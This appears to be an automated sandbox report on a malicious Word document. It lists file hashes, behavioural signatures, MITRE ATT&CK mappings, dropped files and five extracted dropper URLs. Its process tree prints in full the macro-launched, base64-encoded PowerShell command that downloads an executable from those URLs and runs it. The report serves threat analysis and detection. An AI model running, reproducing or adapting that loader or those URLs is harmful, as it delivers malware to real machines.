0674a581112c42ee8ab34769aef9d8ef1252bb2267490436334b2e2747f22cb8

General

Target

0674a581112c42ee8ab34769aef9d8ef1252bb2267490436334b2e2747f22cb8.doc
Size

175KB
MD5

b193b86be161c703a4e49e34eeff6029
SHA1

2890a1bf9818e96e92bfc869a474acf460822fa1
SHA256

0674a581112c42ee8ab34769aef9d8ef1252bb2267490436334b2e2747f22cb8
SHA512

879e670b02ce768cc21997b523a5847025862a002dfba2fc7b3805f18fe87fe4d96eddb02139e6c4e8d3fe2b2a27e8a23f64fd4773f3b3ef5a052bbf241893ad
SSDEEP

3072:Dl4PrXcuQuvpzm4bkiaMQgAlSQ9THaHDaCppKw3E17oB:WDRv1m4bnQgISGTHBw3Eu

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://chadcast.com/public_html/dU1iLSL3hw/

exe.dropper

http://blondenerd.com/cgi-bin/2K3jGP3q1w/

exe.dropper

http://bluespaceit.com/rodselectrical.net.au/dt72vCkz/

exe.dropper

http://bitbenderz.com/azam/OqMIf94117/

exe.dropper

http://bjbus.net/files/9O85/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1524	4632	powersheLL.exe

Blocklisted process makes network request 7 IoCs

Processes:

powersheLL.exe

flow	pid	process
24	1524	powersheLL.exe
27	1524	powersheLL.exe
31	1524	powersheLL.exe
34	1524	powersheLL.exe
37	1524	powersheLL.exe
39	1524	powersheLL.exe
41	1524	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1224 WINWORD.EXE
1224 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

1524 powersheLL.exe
1524 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1524 powersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1224 WINWORD.EXE
1224 WINWORD.EXE
1224 WINWORD.EXE
1224 WINWORD.EXE
1224 WINWORD.EXE
1224 WINWORD.EXE
1224 WINWORD.EXE

pid	process
1224	WINWORD.EXE
1224	WINWORD.EXE

pid	process
1524	powersheLL.exe
1524	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1524	powersheLL.exe

pid	process
1224	WINWORD.EXE
1224	WINWORD.EXE
1224	WINWORD.EXE
1224	WINWORD.EXE
1224	WINWORD.EXE
1224	WINWORD.EXE
1224	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0674a581112c42ee8ab34769aef9d8ef1252bb2267490436334b2e2747f22cb8.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1224

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABkAG8AdQBoAGIAYQBjAGMAaAB1AGEAdABoAD0AJwBuAGEAZQBiAGMAaQBiAHEAdQBvAHYAZwBpAGEAagAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwB1AHIASQBUAHkAcABgAFIAbwBgAFQAYABPAGAAQwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABxAHUAbwBpAHoAZwBpAGEAcAB4AGEAagBiAGEAeQAgAD0AIAAnADcAMgA2ACcAOwAkAGMAbwBpAGYAcwBvAGkAcQB1AHkAYQB1AHgAYwBhAGUAbAA9ACcAdAB1AGQAYwBpAG8AbgBrAG8AdQBwACcAOwAkAHEAdQB1AHcAbgBvAG8AdABoAGYAbwBlAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHEAdQBvAGkAegBnAGkAYQBwAHgAYQBqAGIAYQB5ACsAJwAuAGUAeABlACcAOwAkAGsAZQBvAGwAZwBvAGsAcgBvAGkAYwA9ACcAdAB1AHUAYgBnAHUAdQB6ACcAOwAkAGoAbwBpAHQAaAByAGkAZQBnAHgAbwBpAGcAbgBhAHoAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBsAEkAZQBOAHQAOwAkAGsAYQBxAHUAcgBpAGUAZgBzAGUAZQB6AD0AJwBoAHQAdABwADoALwAvAGMAaABhAGQAYwBhAHMAdAAuAGMAbwBtAC8AcAB1AGIAbABpAGMAXwBoAHQAbQBsAC8AZABVADEAaQBMAFMATAAzAGgAdwAvACoAaAB0AHQAcAA6AC8ALwBiAGwAbwBuAGQAZQBuAGUAcgBkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMgBLADMAagBHAFAAMwBxADEAdwAvACoAaAB0AHQAcAA6AC8ALwBiAGwAdQBlAHMAcABhAGMAZQBpAHQALgBjAG8AbQAvAHIAbwBkAHMAZQBsAGUAYwB0AHIAaQBjAGEAbAAuAG4AZQB0AC4AYQB1AC8AZAB0ADcAMgB2AEMAawB6AC8AKgBoAHQAdABwADoALwAvAGIAaQB0AGIAZQBuAGQAZQByAHoALgBjAG8AbQAvAGEAegBhAG0ALwBPAHEATQBJAGYAOQA0ADEAMQA3AC8AKgBoAHQAdABwADoALwAvAGIAagBiAHUAcwAuAG4AZQB0AC8AZgBpAGwAZQBzAC8AOQBPADgANQAvACcALgAiAFMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAaABvAGEAagBqAGUAbwB0AGgAPQAnAGQAZQBvAHEAdQBqAHUAcABuAGUAdABoACcAOwBmAG8AcgBlAGEAYwBoACgAJABmAHUAbgB4AGEAbwBoAGYAdQB0AGYAYQBpAHAAIABpAG4AIAAkAGsAYQBxAHUAcgBpAGUAZgBzAGUAZQB6ACkAewB0AHIAeQB7ACQAagBvAGkAdABoAHIAaQBlAGcAeABvAGkAZwBuAGEAegAuACIARABPAHcAbgBMAE8AYQBgAGQAZgBpAGAAbABlACIAKAAkAGYAdQBuAHgAYQBvAGgAZgB1AHQAZgBhAGkAcAAsACAAJABxAHUAdQB3AG4AbwBvAHQAaABmAG8AZQBnACkAOwAkAGwAbwBhAHQAaABjAG8AdQBxAHUAcAB1AHUAegBoAGkAZQB5AD0AJwB0AG8AaQByAG4AZQBpAHcAZAB1AGEAZAB6AGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAcQB1AHUAdwBuAG8AbwB0AGgAZgBvAGUAZwApAC4AIgBsAGAARQBOAGcAdABoACIAIAAtAGcAZQAgADMAMQA4ADcAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYQBgAFQARQAiACgAJABxAHUAdQB3AG4AbwBvAHQAaABmAG8AZQBnACkAOwAkAGgAaQBvAHIAbABlAGUAawA9ACcAaABpAHYAYgBlAGUAawB5AGUAbwBjACcAOwBiAHIAZQBhAGsAOwAkAHAAYQB6AGcAYQBpAGMAPQAnAHMAZQBlAGoAdABvAG8AeQBzAGEAZQBtAG4AZQBxAHUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAbgBvAGEAYwBuAGUAaQBuAHcAZQB1AG0AbQBhAGkAegA9ACcAbgBvAGEAaABmAGUAZQBjAGgAeQBlAHUAdABoACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD3EE9.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ks0ybmga.w2j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
5KB

MD5
d3d55c19a64b40c380f68ff94d451057

SHA1
39a6d714a87e81bafa2ec931772fc920bca844ba

SHA256
5fa9e3d72f08880bb54e793e78a444e3767a346e8a6ca6c57034919a49d3e14a

SHA512
fe03403e7ce1993983e7bb7ac094779effa3b1dd34efd1ec4815b5cb666f6fea5de5c2a81f7dc128ddd5a00b7933c6c4a6fa9b9998e472015a936a36c74e3c00

Download Submit
memory/1224-6-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1224-19-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1224-5-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp

Filesize
64KB

Download
memory/1224-3-0x00007FFB43C6D000-0x00007FFB43C6E000-memory.dmp

Filesize
4KB

Download
memory/1224-9-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1224-11-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1224-12-0x00007FFB01340000-0x00007FFB01350000-memory.dmp

Filesize
64KB

Download
memory/1224-8-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1224-7-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp

Filesize
64KB

Download
memory/1224-10-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1224-13-0x00007FFB01340000-0x00007FFB01350000-memory.dmp

Filesize
64KB

Download
memory/1224-4-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1224-20-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1224-2-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp

Filesize
64KB

Download
memory/1224-90-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1224-0-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp

Filesize
64KB

Download
memory/1224-77-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1224-1-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp

Filesize
64KB

Download
memory/1224-81-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1524-80-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download
memory/1524-68-0x00000246FC850000-0x00000246FC872000-memory.dmp

Filesize
136KB

Download
memory/1524-58-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads